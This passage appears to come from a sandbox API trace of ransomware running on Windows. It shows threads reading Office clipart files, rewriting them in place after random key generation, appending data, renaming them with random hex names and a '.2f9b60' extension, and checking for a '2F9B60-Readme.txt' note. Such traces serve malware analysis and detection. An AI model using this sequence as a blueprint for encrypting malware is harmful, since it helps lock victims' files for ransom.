(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a7520 [0125.255] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.255] WriteFile (in: hFile=0x103c, lpBuffer=0x167280*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x222bf670, lpOverlapped=0x0 | out: lpBuffer=0x167280*, lpNumberOfBytesWritten=0x222bf670*=0x10a, lpOverlapped=0x0) returned 1 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0125.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7190) returned 1 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7190 [0125.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0125.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0125.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.257] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="10") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="66") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="52") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="5c") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="16") returned 2 [0125.257] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="fa") returned 2 [0125.257] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="7a") returned 2 [0125.257] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="76") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="5b") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="aa") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="cd") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="92") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="d7") returned 2 [0125.257] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="8e") returned 2 [0125.257] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="29") returned 2 [0125.257] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="39") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="0e") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="4e") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="40") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="e4") returned 2 [0125.257] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="53") returned 2 [0125.257] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="8f") returned 2 [0125.257] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="a6") returned 2 [0125.257] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="b8") returned 2 [0125.257] RtlInitAnsiString (in: DestinationString=0x222bf6e8, SourceString="1066525c16fa7a765baacd92d78e29390e4e40e4538fa6b8" | out: DestinationString="1066525c16fa7a765baacd92d78e29390e4e40e4538fa6b8") [0125.257] RtlAnsiStringToUnicodeString (in: DestinationString=0x222bf6b8, SourceString="1066525c16fa7a765baacd92d78e29390e4e40e4538fa6b8", AllocateDestinationString=1 | out: DestinationString="1066525c16fa7a765baacd92d78e29390e4e40e4538fa6b8") returned 0x0 [0125.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b8647d0 [0125.258] wcscat (in: _Dest=0x2027bd70, _Source="1066525c16fa" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa" [0125.258] wcscat (in: _Dest=0x2027bd70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa.2f9b60" [0125.258] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa.2f9b60", NtPathName=0x222bf690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\1066525c16fa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.260] NtQueryInformationFile (in: FileHandle=0x103c, IoStatusBlock=0x222bf6f8, FileInformation=0x222bf708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x222bf6f8, FileInformation=0x222bf708) returned 0x0 [0125.260] NtSetInformationFile (FileHandle=0x103c, IoStatusBlock=0x222bf6f8, FileInformation=0x222bf708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8647d0) returned 1 [0125.262] FlushFileBuffers (hFile=0x103c) returned 1 [0125.263] CloseHandle (hObject=0x103c) returned 1 [0125.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.264] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.264] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 Thread: id = 1616 os_tid = 0x1ac4 [0125.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0125.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF", dwFileAttributes=0x20) returned 1 [0125.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x103c [0125.275] GetFileSizeEx (in: hFile=0x103c, lpFileSize=0x21d9fb60 | out: lpFileSize=0x21d9fb60*=14996) returned 1 [0125.275] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x3a90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.275] ReadFile (in: hFile=0x103c, lpBuffer=0x21d9fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21d9fb28, lpOverlapped=0x0 | out: lpBuffer=0x21d9fae0*, lpNumberOfBytesRead=0x21d9fb28*=0x4, lpOverlapped=0x0) returned 1 [0125.301] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0125.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a65c0 [0125.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0125.301] NtQuerySystemTime (in: CurrentTime=0x21d9fa20 | out: CurrentTime=0x21d9fa20*=132462177306730000) returned 0x0 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x40b6e546 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x38db3e91 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x579cd50a [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x10171786 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x2145ad6b [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x4702e840 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x261fbe94 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x639640bf [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x2402dac9 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x3da0437a [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x27d91eb4 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x5e605855 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x589de796 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x5a24780 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x765d6f66 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x6733d1bc [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x2a37da7e [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x19c5c1e4 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x7ac980bf [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x2d4cd71d [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x7323e0ce [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x68a3efc6 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x1d9576f1 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x33f73a3b [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0xa46dc7e [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x54e8a7bc [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x23c5ed4 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x2194c3b8 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x4e41023f [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x177c71bb [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x61b09fc7 [0125.302] RtlRandomEx (in: Seed=0x21d9fa10 | out: Seed=0x21d9fa10) returned 0x342f98c3 [0125.309] ReadFile (in: hFile=0x103c, lpBuffer=0x41b22d00, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x21d9fa10, lpOverlapped=0x0 | out: lpBuffer=0x41b22d00*, lpNumberOfBytesRead=0x21d9fa10*=0x3a94, lpOverlapped=0x0) returned 1 [0125.321] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.321] WriteFile (in: hFile=0x103c, lpBuffer=0x41b1f0f0*, nNumberOfBytesToWrite=0x3a94, lpNumberOfBytesWritten=0x21d9fa14, lpOverlapped=0x0 | out: lpBuffer=0x41b1f0f0*, lpNumberOfBytesWritten=0x21d9fa14*=0x3a94, lpOverlapped=0x0) returned 1 [0125.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ec0 [0125.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6aa0 [0125.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6aa0) returned 1 [0125.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b1f0f0) returned 1 [0125.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b22d00) returned 1 [0125.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6aa0 [0125.325] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0125.325] WriteFile (in: hFile=0x103c, lpBuffer=0x167040*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21d9fb30, lpOverlapped=0x0 | out: lpBuffer=0x167040*, lpNumberOfBytesWritten=0x21d9fb30*=0x10a, lpOverlapped=0x0) returned 1 [0125.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0125.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504190 [0125.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7ac0) returned 1 [0125.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0125.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ac0 [0125.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7250 [0125.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7250) returned 1 [0125.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504190) returned 1 [0125.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0125.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0125.363] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="22") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="f9") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="54") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="64") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="33") returned 2 [0125.363] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="8a") returned 2 [0125.363] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="8f") returned 2 [0125.363] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="ea") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="1d") returned 2 [0125.363] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="ca") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="4d") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="6f") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="ae") returned 2 [0125.364] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="a6") returned 2 [0125.364] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="79") returned 2 [0125.364] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="14") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="60") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="20") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="d5") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="97") returned 2 [0125.364] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="c1") returned 2 [0125.364] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="5f") returned 2 [0125.364] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="d8") returned 2 [0125.364] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="25") returned 2 [0125.364] RtlInitAnsiString (in: DestinationString=0x21d9fba8, SourceString="22f95464338a8fea1dca4d6faea679146020d597c15fd825" | out: DestinationString="22f95464338a8fea1dca4d6faea679146020d597c15fd825") [0125.364] RtlAnsiStringToUnicodeString (in: DestinationString=0x21d9fb78, SourceString="22f95464338a8fea1dca4d6faea679146020d597c15fd825", AllocateDestinationString=1 | out: DestinationString="22f95464338a8fea1dca4d6faea679146020d597c15fd825") returned 0x0 [0125.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b863dc0 [0125.365] wcscat (in: _Dest=0x2027baf0, _Source="22f95464338a" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a" [0125.365] wcscat (in: _Dest=0x2027baf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a.2f9b60" [0125.365] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a.2f9b60", NtPathName=0x21d9fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\22f95464338a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0125.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107780 [0125.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 [0125.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48b30) returned 1 [0125.367] NtQueryInformationFile (in: FileHandle=0x103c, IoStatusBlock=0x21d9fbb8, FileInformation=0x21d9fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21d9fbb8, FileInformation=0x21d9fbc8) returned 0x0 [0125.367] NtSetInformationFile (FileHandle=0x103c, IoStatusBlock=0x21d9fbb8, FileInformation=0x21d9fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0125.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027baf0) returned 1 [0125.368] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863dc0) returned 1 [0125.368] FlushFileBuffers (hFile=0x103c) returned 1 [0125.371] CloseHandle (hObject=0x103c) returned 1 [0125.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027bd70 [0125.430] wcscpy (in: _Dest=0x2027bd70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0125.430] wcscat (in: _Dest=0x2027bd70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0125.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0125.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027bd70) returned 1 [0125.442] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d260) returned 1 Thread: id = 1617 os_tid = 0x1ac8 [0125.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0125.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF", dwFileAttributes=0x20) returned 1 [0125.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1038 [0125.299] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x2245fac0 | out: lpFileSize=0x2245fac0*=1874) returned 1 [0125.300] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x74e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.300] ReadFile (in: hFile=0x1038, lpBuffer=0x2245fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2245fa88, lpOverlapped=0x0 | out: lpBuffer=0x2245fa40*, lpNumberOfBytesRead=0x2245fa88*=0x4, lpOverlapped=0x0) returned 1 [0125.310] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a30 [0125.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7580 [0125.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7520 [0125.310] NtQuerySystemTime (in: CurrentTime=0x2245f980 | out: CurrentTime=0x2245f980*=132462177306730000) returned 0x0 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x6b33b2af [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x44e5b72b [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x2b4f0e1c [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x6be5c0a0 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x2d6e2a87 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x20052076 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x6d4214ee [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x47ae80f8 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0xb021080 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x54e8a7bc [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x32bbd716 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x54700e91 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x4a1f32b7 [0125.310] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x1e4968cd [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x62f13c82 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x6706f6ee [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x67d19a5 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x5ed6a155 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x695647c5 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x74590534 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x60b9ed54 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x37962a18 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x2fc1103d [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x31b4406 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x5159dc60 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x42c2e628 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x75baee49 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x61b09fc7 [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x238a3ccf [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x1af138e [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x17f46cea [0125.311] RtlRandomEx (in: Seed=0x2245f970 | out: Seed=0x2245f970) returned 0x31b4406 [0125.319] ReadFile (in: hFile=0x1038, lpBuffer=0x41b3d170, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x2245f970, lpOverlapped=0x0 | out: lpBuffer=0x41b3d170*, lpNumberOfBytesRead=0x2245f970*=0x752, lpOverlapped=0x0) returned 1 [0125.320] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.320] WriteFile (in: hFile=0x1038, lpBuffer=0x41b40d80*, nNumberOfBytesToWrite=0x752, lpNumberOfBytesWritten=0x2245f974, lpOverlapped=0x0 | out: lpBuffer=0x41b40d80*, lpNumberOfBytesWritten=0x2245f974*=0x752, 